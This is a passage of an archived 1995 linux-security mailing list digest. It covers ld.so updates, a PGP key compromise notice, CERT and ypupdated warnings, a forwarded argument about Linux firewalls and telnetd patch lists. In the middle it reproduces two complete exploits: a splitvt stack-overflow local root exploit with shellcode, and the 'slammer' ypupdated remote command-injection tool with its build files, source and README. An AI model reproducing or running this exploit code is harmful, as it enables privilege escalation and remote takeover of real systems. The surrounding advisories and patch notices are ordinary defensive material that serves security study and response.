true origin. This should hopefully answer, and help reduce the number of, the "What's the most recent ld.so version, and where can I get it?" e-mails that I've been receiving. - --Jeff] - ------- Forwarded Message A new ld.so package has been uploaded to ftp.debian.org and should be available soon. Changes in version 1.7.11: Changed ld.so and ld-linux.so to delete all variations of LD_PRELOAD and LD_LIBRARY_PATH for set[ug]id programs, This makes it harder for broken set[ug]id programs to be compromised. Fixed a problem in libdl.so where dlsym would not accept the handle returned from dlopen(0, *). fd65bba600da2a20bcb4f707e69c85da ld.so-1.7.11-1.deb 5bce5d68d1c7df1c30b87024d3123209 ld.so-1.7.11-1.tar.gz - - -rw-r--r-- 1 david david 129859 Nov 14 22:02 ld.so-1.7.11-1.deb - - -rw-r--r-- 1 david david 84246 Nov 14 22:03 ld.so-1.7.11-1.tar.gz David - - -- David Engel Optical Data Systems, Inc. [email protected] 1101 E. Arapaho Road (214) 234-6400 Richardson, TX 75081 - ------- End of Forwarded Message [Mod: There are now also copies in linux.nrao.edu:/pub/security/ld.so/debian. The "basic" distribution, retrieved from ftp.ods.com:/pub/linux, is in linux.nrao.edu:/pub/security/ld.so. The ftp.ods.com tarfile includes binaries, though I don't have an MD5 checksum for it on hand... --Jeff] ------------------------------ End of linux-security-digest V1 #48 *********************************** linux-security-digest/1995/v01.n049100664 1767 1767 64163 6061422133 16062 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #49 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Wednesday, 6 December 1995 Volume 01 : Number 049 CERT and wu-ftpd advisory EMERGENCY LINUX SECURITY FAQ UPDATE: PGP KEY COMPROMISE Re: CERT and wu-ftpd advisory 'ypupdated' hole, system crackers. Re: Linux/freeBSD & Firewalls for a Newbw :-) (fwd) Avalon Release Re: 'ypupdated' hole, system crackers. ---------------------------------------------------------------------- From: Aleph One Date: Thu, 30 Nov 1995 13:38:43 -0600 (CST) Subject: CERT and wu-ftpd advisory My god. This is so discusting. CERT has just released and advisory on the wu-ftpd vulnerability that was discussed here.. what? 6 months ago? I mean with a problem some simple, that has been discussed to death is takes them 6 months to responde? I wonder who long it takes for an undisclosed complex security bug to have an advisory... prob like a year and a half. Aleph One / [email protected] http://underground.org/ KeyID 1024/948FD6B5 Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01 ------------------------------ From: "Alexander O. Yuriev" Date: Wed, 29 Nov 1995 21:56:32 -0500 (EST) Subject: EMERGENCY LINUX SECURITY FAQ UPDATE: PGP KEY COMPROMISE - -----BEGIN PGP SIGNED MESSAGE----- ONE OF LINUX SECURITY FAQ PGP KEYS HAD BEEN COMPROMISED. EMERGENCY LINUX SECURITY FAQ UPDATE 22:13:07 EST Copyright (C) 1995 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/pub/linux/linux-security ============================================================================= Jeff Uphoff , co-moderator of linux-security and linux-alert mailing lists had issued a key revocation certificate for the the PGP key pub 1024/544C7805 1994/07/17 which could be used to sign Linux Security FAQ Updates or other security related information. From Nov 29, 1995 21:22:07 EST everything signed or encrypted using this key is considered to be compromised. Please notify Alexander O. Yuriev , Olaf Kirch using PGP encrypted email if you receive compromised information. The PGP public keys of people involved in Linux security will be available from the following URL: ftp://bach.cis.temple.edu/pub/Linux/Security/PGP-KEYS.pgp When Jeff Uphoff's new key will be available, it will be added to the the PGP-KEYS.pgp. Please avoid emailing sensitive information to Jeff Uphoff in the non-encrypted form. As the result of the attack NRAO is not directly connected to Internet. We are working on creating an emergency replacement archive for linux-security and linux-alert mailing lists, as well as a backup system to handle the mailing list while NRAO is being cleaned. The following is the extract from message sent by Jeff Uphoff: **************************************************************************** - - From [email protected] Nov 29 21:06:25 1995 Date: Wed, 29 Nov 1995 20:47:01 -0500 From: Jeff Uphoff To: alex%[email protected] Subject: PGP key compromise. [I'm sending this to the people on my key-ring, i.e. those with which I occasionally or frequently exchange PGP encrypted e-mail.] Both my PGP key-ring (possible) and my pass-phrase (definite) have been compromised. Attached to this message is a key-revocation certificate. Please pass it on to as many people as you can think of that might have my current key. I cannot sign this message with a recognizable key now, but the block speaks for itself once you feed it through PGP. Robert Millner can verify the compromise by telephone at 540-961-4321, as can I at 804-296-0208. Details of the compromise will be released later to those interested parties that have not been following this particular series of events. (The U.S. FBI is now involved.) NRAO headquarters is no longer interactively reachable from the Internet, though we are exchanging e-mail as long as we can safely maintain the link. - - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: 2.6.2 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 aW51eC5vcmc+ =SL0I - - -----END PGP PUBLIC KEY BLOCK----- ***************************************************************** - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBML0bT4xFUz2t8+6VAQHFBgP+Pf19mAJhh0zM8OhctpN4NyewjjHlhj9b kbVpbOwTpVGWqMEKTNCj6qP+Wl9cbp910WAOxsWrLN6G1u35tBQ95SWjKz8bhLup D/U3VMyc1TNgsYwRoQhjMVkl3g9+mzpXIyqmVGUANLPVtTbxBe3lJlyXpvBU8iwd VnG4+bF31EU= =tYmz - -----END PGP SIGNATURE----- ============================================================================ Alexander O. Yuriev Email: [email protected] CIS Labs, TEMPLE UNIVERSITY WWW: http://bach.cis.temple.edu/personal/alex Philadelphia, PA, USA KeyID: 1024/D62D4489 Key Fingerprint: AE84534377CCC4E2 37B13C4D8CD3D501 Unless otherwise stated, everything above is my personal opinion and not an opinion of any organisation affiliated with me. ============================================================================= ------------------------------ From: "Jonathan A. Davis" Date: Sat, 2 Dec 1995 22:10:10 -0600 (CST) Subject: Re: CERT and wu-ftpd advisory On Thu, 30 Nov 1995, Aleph One wrote: > My god. This is so discusting. CERT has just released and advisory > on the wu-ftpd vulnerability that was discussed here.. what? 6 months ago? > I mean with a problem some simple, that has been discussed to death is > takes them 6 months to responde? I wonder who long it takes for an > undisclosed complex security bug to have an advisory... prob like a year > and a half. [Mod: Quoting trimmed. --Jeff.] I agree that the "lag" time seems somewhat excessive. It would help to know when CERT was actually first notified. CERT's first advisory concerning a "SITE EXEC" problem was part of "CA-94:08.ftpd.vulnerabilities". It is not directly related to the current security problem although some confusion (particularly with respect to vulnerable wu-ftp versions) may have resulted from it. ------------------------------snip-------------------------------- CA-94:08.ftpd.vulnerabilities 04/14/94 This advisory addresses two vulnerabilities with some releases of fptd and announces new versions and patches to correct these problems. ftpd versions affected are wuarchive ftpd 2.0-2.3, DECWRL ftpd versions prior to 5.93, and BSDI ftpd version 1.1 prior to patch level 5. The vulnerabilities addressed are the SITE EXEC and race condition vulnerabilities. ------------------------------snip-------------------------------- BTW, has anyone experienced an actual security breach due to this bug? Thankfully, we were not affected. Or, (as happens so often with security anyway) if we were, I don't know about it. ;-) - -Jonathan _ _ - ------------------------------------------------------------->>>>>>>>-(o)(o)--- Jonathan A. Davis | Academic Systems Analyst | Hattiesburg/Gulf Park/Stennis USM Computing Center | Box 5171 | (601) 266-4103 | [email protected] http://www.usm.edu/jonathan/home.html | finger jonathan@evergreen for PGP key ------------------------------ From: Jeff Uphoff Date: Sun, 3 Dec 1995 19:28:20 -0500 Subject: 'ypupdated' hole, system crackers. There is a hole, apparently quite serious, in the NIS program 'ypupdated'. CERT, among others, has confirmed the existence of a hole, and it appears to be under active exploitation by crackers who use it as one of many methods to illicitly gain privileged access to systems/sites. If you are running it on any of your systems, you should probably kill it until this issue is resolved/patched. NIS server systems running SunOS 4.1.x variants seem to be the favored target systems in this current series of attacks. Also, please check the directory /usr/share/src/sun/sunview1/examples/fonts for signs of cracker tools on any Suns that you administrate; this appears to be a favorite area for hiding "kits" and sniffers in a currently-active attack pattern. If you find anything in that area (even the existence of the "fonts" sub-directory should be considered suspicious), please immediately dump the area to tape and contact [email protected] and/or [email protected]; it is likely that the system has been badly compromised. - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ From: "R. M. DuFresne" Date: Sun, 3 Dec 1995 22:06:46 -0600 (CST) Subject: Re: Linux/freeBSD & Firewalls for a Newbw :-) (fwd) Folks maybe insterested in the forwarded message found below. I'm interested in any comments peoples may have concerning this. Thanks, Ron DuFresne ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ admin & senior consultant: darkstar.sysinfo.com http://darkstar.sysinfo.com "Cutting the space budget really restores my faith in humanity. It eliminates dreams, goals, and ideals and lets us get straight to the business of hate, debauchery, and self-annihilation." -- Johnny Hart ***testing, only testing, and damn good at it too!*** OK, so you're a Ph.D. Just don't touch anything. [Mod: Please direct all replies to the poster (not to the list). I'm forwarding it on for general reactions, but I do *not* want to start an advocacy thread here. --Jeff.] - ---------- Forwarded message ---------- Date: Mon, 4 Dec 1995 12:28:04 +1030 (CST) From: Mark Newton To: Arman Ali Anwar Cc: [email protected] Subject: Re: Linux/freeBSD & Firewalls for a Newbw :-) [ I know I'm going to get flamed for this, because Linux weenies are even more virulent than Amiga weenies used to be, but I can't let this pass. ] Arman Ali Anwar wrote: > 4) How does Linux measure up against freebsd or bsdi ... I happen to love > LINUX but faer it was designed with speed in mind and not security ... Not quite -- It was designed with fun in mind, and the quantities of speed and security that it offers are largely side effects. I support a number of Linux systems professionally. As such, I have a number of observations which might be useful to you. In my professional opinion, people who use a UNIX system as a firewall generally either don't understand firewalls very well or don't have security at the forefront of their mind when evaluating their requirements. [ the following paragraph contains generalities which apply to what would seem to be a "large" number of Linux advocates. If anyone emails me to say that they've taken it personally, or that Linux users aren't really at all like my portrayal below because *they*, personally, are not like that I will laugh until I die. Thank you for your cooperation. ] Linux "firewalls" are a particular case in point, because a disproportionate number of the people who use them suffer from BOTH of the traits listed above. The average Linux user is a UNIX newbie who sometimes even lacks the skills necessary to tighten down a normal UNIX system, let alone a firewall. Additionally, *cost* is usually the main factor which steers someone into using Linux as a firewall ("Hey! We have a $75 386SX-25 motherboard; we can put some cheap memory, cheap disk and a cheap ethernet card on it and build ourselves a $500 firewall, instead of buying two Ciscos and a bastion host! Q00l, eh?"). The end result of this is a network which is "firewalled" (spit!) behind a Linux box with some packet filters. By necessity, the Linux box runs *actual net-accessible services* (heaven forbid!), which means that the filters need gaps -- Hence, the machine is at risk of being compromised next time, say, a new sendmail/smail bug which allows any user on the Internet to break root is uncovered (in which case a small shell script could, say, remove all the "firewalling" IP filters before allowing the attacker in through any port he wanted). Thus, whilst the sysadmin thinks his network is nicely hidden behind his packet-filtering Linux machine, he's really only buying himself a small amount of protection over and above what he'd have with a completely unfirewalled network. The Linux scheduler and VM system is also pathetic enough to make you not want to run services on the machine anyway, even though you essentially have no choice. When a Linux machine runs a CPU- and IO-intensive application (such as, for example, INN), it gets so stupidly bogged down in paging that it can't route packets! I've seen many centrally- located (network-wise) Linux machines get to the point where running INN's "expire" program almost completely locks out networking until the expire run has finished. The only solutions to this problem are to either rewrite the scheduler or install massive amounts of memory to make sure that the system doesn't get into heavy paging (meaning that at least 32Mb, but more usefully 48Mb or 64Mb of RAM is needed on a machine which does nothing but run sendmail, INN and a nameserver). On just about any other operating system I can think of, 16Mb is more than adequate for that role. The bottom line is that Linux has not been designed as a firewall -- It has been designed as an OS that gets run on a single-user workstation (NOT! a server, no matter how many glowing stories Linux advocates tell you about its performance -- Linus Torvalds himself admits that the Linux kernel's scheduler does not perform well under load). As an OS that runs on a single user workstation, it delivers quite phenomenal performance, and I would recommend it to anyone in that role. However, it is not now, nor will it ever be, a firewall. Normally a firewall evaluation involves comparing how the firewall stacks up above alternatives in terms of security, performance and cost. If you're using Linux as a firewall, you're more or less telling the world that you simply don't give a damn about the first two of those criteria. - mark - --- Mark Newton Email: [email protected] Systems Engineer Phone: +61-8-373-2523 Communica Systems WWW: http://www.communica.com.au ------------------------------ From: root Date: Sun, 3 Dec 1995 22:52:37 -0700 (MST) Subject: Avalon Release Avalon Security Research Release 1.3 (splitvt) Affected Program: splitvt(1) Affected Operating Systems: Linux 2-3.X Exploitation Result: Local users can obtain superuser privelages. Bug Synopsis: A stack overflow exists via user defined unbounds checked user supplied data sent to a sprintf(). Syntax: crimson~$ cc -o sp sp.c crimson~$ sp bash$ sp bash$ splitvt bash# whoami root Credit: Full credit for this bug (both the research and the code) goes to Dave G. & Vic M. Any questions should be directed to [email protected] . - ---------------------------------------------------------------------------- long get_esp(void) { __asm__("movl %esp,%eax\n"); } main() { char eggplant[2048]; int a; char *egg; long *egg2; char realegg[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char *eggie = realegg; egg = eggplant; *(egg++) = 'H'; *(egg++) = 'O'; *(egg++) = 'M'; *(egg++) = 'E'; *(egg++) = '='; egg2 = (long *)egg; for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30; egg=(char *)egg2; for (a=0;a<0x40;a++) *(egg++) = 0x90; while (*eggie) *(egg++) = *(eggie++); *egg = 0; /* terminate eggplant! */ putenv(eggplant); system("/bin/bash"); } ------------------------------ From: root Date: Sun, 3 Dec 1995 21:58:33 -0700 (MST) Subject: Re: 'ypupdated' hole, system crackers. ****************************************************************************** "Freedom is a meal easy to eat, but difficult to digest". Rosseau Send all replies to [email protected] ****************************************************************************** On Sun, 3 Dec 1995, Jeff Uphoff wrote: > There is a hole, apparently quite serious, in the NIS program > 'ypupdated'. CERT, among others, has confirmed the existence of a hole, > and it appears to be under active exploitation by crackers who use it as > one of many methods to illicitly gain privileged access to > systems/sites. > > If you are running it on any of your systems, you should probably kill > it until this issue is resolved/patched. NIS server systems running > SunOS 4.1.x variants seem to be the favored target systems in this > current series of attacks. > This 'bug' was released by Avalon Security Research several days ago. In fact I am quite sure we also posted it to several Linux mailing lists, in any event enclosed here in the message is the code for the exploit. A following message will introduce ASR. Avalon Security Research Release 1.0 (ypupdated) Affected Program: rpc.ypupdated Tested Operating Systems: SunOS 4.1.X Affect: Remote users may pass arbitrary root commands on target hosts running ypupdated and keyserv. Bug Synopsis: When ypupdated recieves requests to update yp maps on a host machine it forks and executes a copy of the bourne shell. Through the bourne shell meta characters may be passed into the arguments causing a security breach. All responses may be directed to [email protected] - ------------------------------------------------------------------------------ Makefile - ------------------------------------------------------------------------------ OBJS= slammer.o all: slammer slammer: $(OBJS) rpcgen ygyg.x cc $(OBJS) ygyg_xdr.c -lrpcsvc -o slammer - ------------------------------------------------------------------------------- /* slammer.c * By Josh D. February 7th 1994 AD (ASR) * usage slammer target "cmd arg1 arg2 agr3 ....." * the target must be running ypupdated * keyserv, and ypbind MUST be running, if they aren't see README. * this program is built to run on a sunOS 4.1.X machine, running * it on anything else will probably cause a linker error or a core dump * if the program core dumps on a sunos 4.1.X someone has given you * a broken copy or your local machine is not setup correctly (see * README) * caveat: your command will be exec'd on the receiving end of a pipe * so redirecting stdin will cause the input file to be zero'd * example: slammer joe.target.com "mail [email protected] < /etc/passwd" * will not only not work, but will also zero the passwd file * solution: use only non-interactive commands, e.g. rm, cp, chmod, mv, etc. * */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "ypupdate_prot.h" char *stump = "nobody c3d91f44568fbbefada50d336d9bd67b16e7016f987bb607\ :7675cd9b8753b5db09dabf12da759c2bd1331c927bb322861fffb54be13f55e9"; int main(argc, argv) int argc; char **argv; { ypupdate_args stam; CLIENT *yope; int ursuck=RPC_ANYSOCK; struct hostent *ham; unsigned long othello; struct sockaddr_in *us, them; struct timeval fore; char wonthirtyseven[255-1+2 % 1000]; fore.tv_sec = 60; fore.tv_usec = 0; if (argc != 3) exit(printf("wonthirtyseven\n")); if (isdigit(argv[1][0])) { bcopy(inet_addr(argv[1]), &them.sin_addr.s_addr, 4);} else { ham = gethostbyname(argv[1]); if (ham == NULL) exit(printf("ham!!!!!!!!!!!!\n")); bcopy(ham->h_addr, &them.sin_addr.s_addr, 2*2); } if (strlen(argv[2]) > 253) { printf("your comm is bein trunc'd to 253\n"); argv[2][253] = '\0'; } sprintf(wonthirtyseven, "|%s", argv[2]); them.sin_family = AF_INET; them.sin_port = 0; yope = clntudp_create(&them, 100028, 1, fore, &ursuck); if (yope == NULL) exit(printf("Cu;dn't create yope\n")); clnt_control(yope, CLSET_TIMEOUT, &fore); yope->cl_auth = authdes_create("nobody", 600, NULL, NULL); if (yope->cl_auth == NULL) exit(printf("won:local site misconfigured\n")); if (yope->cl_auth->ah_ops->ah_marshal == NULL) exit(printf("too:local site misconfigured\n")); stam.mapname = wonthirtyseven; stam.key.yp_buf_val = "blah"; stam.datum.yp_buf_val = "blah"; stam.key.yp_buf_len = 5; stam.datum.yp_buf_len = 5; if(clnt_call(yope, YPU_CHANGE, xdr_ypupdate_args, &stam, xdr_u_int, &othello, fore) != RPC_SUCCESS) printf("137\n"); } - ------------------------------------------------------------------------------ %/* @(#)ypupdate_prot.x 1.5 90/01/03 Copyr 1990, Sun Micro */ % %/* % * Compiled from ypupdate_prot.x using rpcgen % * This is NOT source code! % * DO NOT EDIT THIS FILE! % */ /* * NIS update service protocol */ const MAXMAPNAMELEN = 255; const MAXYPDATALEN = 1023; const MAXERRMSGLEN = 255; program YPU_PROG { version YPU_VERS { u_int YPU_CHANGE(ypupdate_args) = 1; u_int YPU_INSERT(ypupdate_args) = 2; u_int YPU_DELETE(ypdelete_args) = 3; u_int YPU_STORE(ypupdate_args) = 4; } = 1; } = 100028; typedef opaque yp_buf; struct ypupdate_args { string mapname; yp_buf key; yp_buf datum; }; struct ypdelete_args { string mapname; yp_buf key; }; - ------------------------------------------------------------------------------ /* * Please do not edit this file. * It was generated using rpcgen. */ #include /* @(#)ypupdate_prot.x 1.5 90/01/03 Copyr 1990, Sun Micro */ /* * Compiled from ypupdate_prot.x using rpcgen * This is NOT source code! * DO NOT EDIT THIS FILE! */ #define MAXMAPNAMELEN 255 #define MAXYPDATALEN 1023 #define MAXERRMSGLEN 255 #define YPU_PROG ((u_long)100028) #define YPU_VERS ((u_long)1) #define YPU_CHANGE ((u_long)1) extern u_int *ypu_change_1(); #define YPU_INSERT ((u_long)2) extern u_int *ypu_insert_1(); #define YPU_DELETE ((u_long)3) extern u_int *ypu_delete_1(); #define YPU_STORE ((u_long)4) extern u_int *ypu_store_1(); typedef struct { u_int yp_buf_len; char *yp_buf_val; } yp_buf; bool_t xdr_yp_buf(); struct ypupdate_args { char *mapname; yp_buf key; yp_buf datum; }; typedef struct ypupdate_args ypupdate_args; bool_t xdr_ypupdate_args(); struct ypdelete_args { char *mapname; yp_buf key; }; typedef struct ypdelete_args ypdelete_args; bool_t xdr_ypdelete_args(); - ------------------------------------------------------------------------ README - ------------------------------------------------------------------------- In order for slammer to work correctly the following parameters must be met: Target Host *MUST* be running both ypupdated and keyserv. If this is not the case Slammer will return non-zero error code. syntax: slammer target.com "arbitrary command" If slammer is succesfull you will be returned to your initial prompt. Avalon Security Research Josh D. Ben G. Alfred H. ------------------------------ End of linux-security-digest V1 #49 *********************************** linux-security-digest/1995/v01.n050100664 1767 1767 45774 6062440635 16071 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #50 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Saturday, 9 December 1995 Volume 01 : Number 050 Re: 'ypupdated' hole, system crackers. Linux Security FAQ Update#8: CERT-95:14 - Telnetd fixes for Linux Re: CERT and wu-ftpd advisory Re: 'ypupdated' hole, system crackers. Re: Avalon Release Another telnetd security problem? Re: Avalon Release Re: Avalon Release Re: Avalon Release ---------------------------------------------------------------------- From: Greg Spiegelberg Date: Sun, 3 Dec 1995 21:30:56 -0800 (PST) Subject: Re: 'ypupdated' hole, system crackers. Not to downplay the seriousness of this hole, because it does exist, but myself and my coworkers have found that if you do not run keyserv on your NIS master/slaves the hole can not be exploited in it's current form in SunOS 4.1.x. Whether or not a keyserv exists for Linux I still wouldn't discount this hole because Linux still runs many ports of the BSD servers. A few cents more, Greg. [mod: quoting trimmed --okir] - -- Greg "TwoTone" Spiegelberg - SAIC UNIX/NetWare Network & Systems Administrator [email protected] - RidgeNET, ISP [email protected] - Naval Air Warfare Center (Weapons), China Lake, Ca ------------------------------ From: "Alexander O. Yuriev" Date: Tue, 5 Dec 1995 16:20:16 -0500 (EST) Subject: Linux Security FAQ Update#8: CERT-95:14 - Telnetd fixes for Linux - -----BEGIN PGP SIGNED MESSAGE----- Linux Security FAQ Update telnetd(8), Shared Libraries and login Program Vulnerability November 28, 1995 09:58:42 EST Copyright (C) 1995 Alexander O. Yuriev ([email protected]) CIS Laboratories TEMPLE UNIVERSITY U.S.A. ============================================================================= This is an official update of the Linux security FAQ, and it is supposed to be signed by one of the following PGP keys: 1024/EFE347AD 1995/02/17 Olaf Kirch 1024/ADF3EE95 1995/06/08 Linux Security FAQ Primary Key Unless you are able to verify at least one of signatures, please be very careful when following instructions. Linux Security WWW: http://bach.cis.temple.edu/pub/linux/linux-security linux-security & linux-alert mailing list archives: ftp://linux.nrao.edu/pub/linux/security/list-archive ============================================================================= ABSTRACT: Most of Linux distributions with the release date prior to Nov 15, 1995 are subject to the vulnerability of shared /bin/login and telnetd(8) described in the CERT Advisory CA: 95-14. This update is a summary of the information from linux-security mailing list and information about the distribution specific patches. AFFECTED DISTRIBUTIONS: At the present time it is believed by every single Linux distribution released prior to Nov 15, 1995 that does not have statically linked login program (usually /bin/login) is affected. It is also believed that those who installed shadow support subsystem on their systems made their systems vulnerable to the attack. RISK ASSESSMENT: It came to our attention that a small but a vital mistake made by CERT in the analysis of the vulnerability: in order to exploit the security bug, the intruder has to first gain access to a part of filesystem of the attacked system. It includes (but is not limited to) the following types of access in addition to the shell access. a) System allows anonymous FTP uploads b) Intruder is able to gain access that allows the intruder to write to a fileserver used by the system (that includes NFS, Netware, Samba, etc) DISTRIBUTION FIXES: Red Hat Commercial Linux 2.1 ---------------------------- This Linux distribution is not vulnerable as long as Red Hat's NetKit is used. ld.so of this distribution needs to be updated. Please use appropriate Red Hat Commercial Linux 2.0 RPM. Red Hat Commercial Linux 2.0 ---------------------------- Obtain the secure NetKit from one of the following URLs: ftp://ftp.pht.com/pub/linux/redhat/redhat-2.0/updates/RPMS/NetKit-B-0.06-4.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/security/DISTRIBUTION-FIXES/RedHat2.0/NetKit-B-0.06-4.i386 ftp://linux.nrao.edu/pub/security//DISTRIBUTION-FIXES/NetKit-B-0.06-4.i386.rpm Red Hat Commercial Linux 2.0 also has an updated ld.so package. It can be obtained from one of the following URLs ftp://ftp.pht.com/pub/linux/redhat/redhat-2.1/updates/RPMS/ld.so-1.7.11-1.i386.rpm ftp://bach.cis.temple.edu/pub/Linux/security/DISTRIBUTION-FIXES/RedHat2.0/ld.so-1.7.11-1.i386.rpm ftp://linux.nrao.edu/pub/security//DISTRIBUTION-FIXES/RedHat2.0/ld.so-1.7.11-1.i386.rpm Please verify the MD5 hash of the files prior to installing them. c49062435e48c215b19239ce4924ffb2 NetKit-B-0.06-4.i386.rpm 0f8b92359f4f085a2a01935d71033877 ld.so-1.7.11-1.i386.rpm Caldera Network Desktop: ------------------------ Preview I --------- This release is believed to be vulnerable. Due to the fact that Caldera corportation provieded a free upgrade to Preview II for Preview I users, no one should be affected. Preview II ---------- Please apply the patch mentioned in the Red Hat 2.0 section of the Update. Slackware: ---------- Slackware distributions prior to version 3.0 are vulnerable. If you use distributions prior to version 3.0 you should consider upgrading to Slackware 3.0 Patrick J. Volkerding provided information about the official Slackware 3.0 patch. It can be obtained from the following URLs: ftp://ftp.cdrom.com/pub/linux/slackware/patches/telnetd-patch.tgz ftp://bach.cis.temple.edu/pub/Linux/security/DISTRIBUTION-FIXES/Slackware-3.0/telnetd-patch.tgz ftp://linux.nrao.edu/pub/security/DISTRIBUTION-FIXES/Slackware-3.0/telnetd-patch.tgz Please verify the MD5 hash of the file prior to installing it. 9cab4aea8d60695c478ad9dfc042502a telnetd-patch.tgz Debian: ------- The official patch for the Debian/GNU Linux can be obtained from the following URLs: ftp://ftp.debian.org/debian/debian-0.93/binary/net/netstd-1.21-1.deb ftp://bach.cis.temple.edu/pub/Linux/security/DISTRIBUTION-FIXES/Debian/netstd-1.21-1.deb ftp://linux.nrao.edu/pub/Linux/security/DISTRIBUTION-FIXES/Debian/netstd-1.21-1.deb Please verify the MD5 hash of the file prior to installing it. 3d055184d2708c1fa0ea36c412f05cf2 netstd-1.21-1.deb The Debian distribution also released updated ld.so loader which is available at one of the following URLs: ftp://ftp.debian.org/debian/debian-0.93/binary/base/ld.so-1.7.10-1.deb ftp://bach.cis.temple.edu/pub/Linux/security/DISTRIBUTION-FIXES/Debian/ld.so-1.7.10-1.deb Please verify the MD5 hash of the file prior to installing it. eb9a54d375ded510ba266835a2eacefc ld.so-1.7.10-1.deb Yggdrasil: ---------- Yggdrasil Computing Inc. did not provide any information about the patch, although their distributions are believed to be vulnerable. Other Distributions: -------------------- The vulnerable telnetd binary can be replaced by compiling Debian NetKit. It can be obtained from one of the following URLs: ftp://ftp.debian.org/debian/debian-1.0/source/net/netstd-1.23-1/telnet* As this is not the official package, no MD5 hash is provided. ADDITIONAL 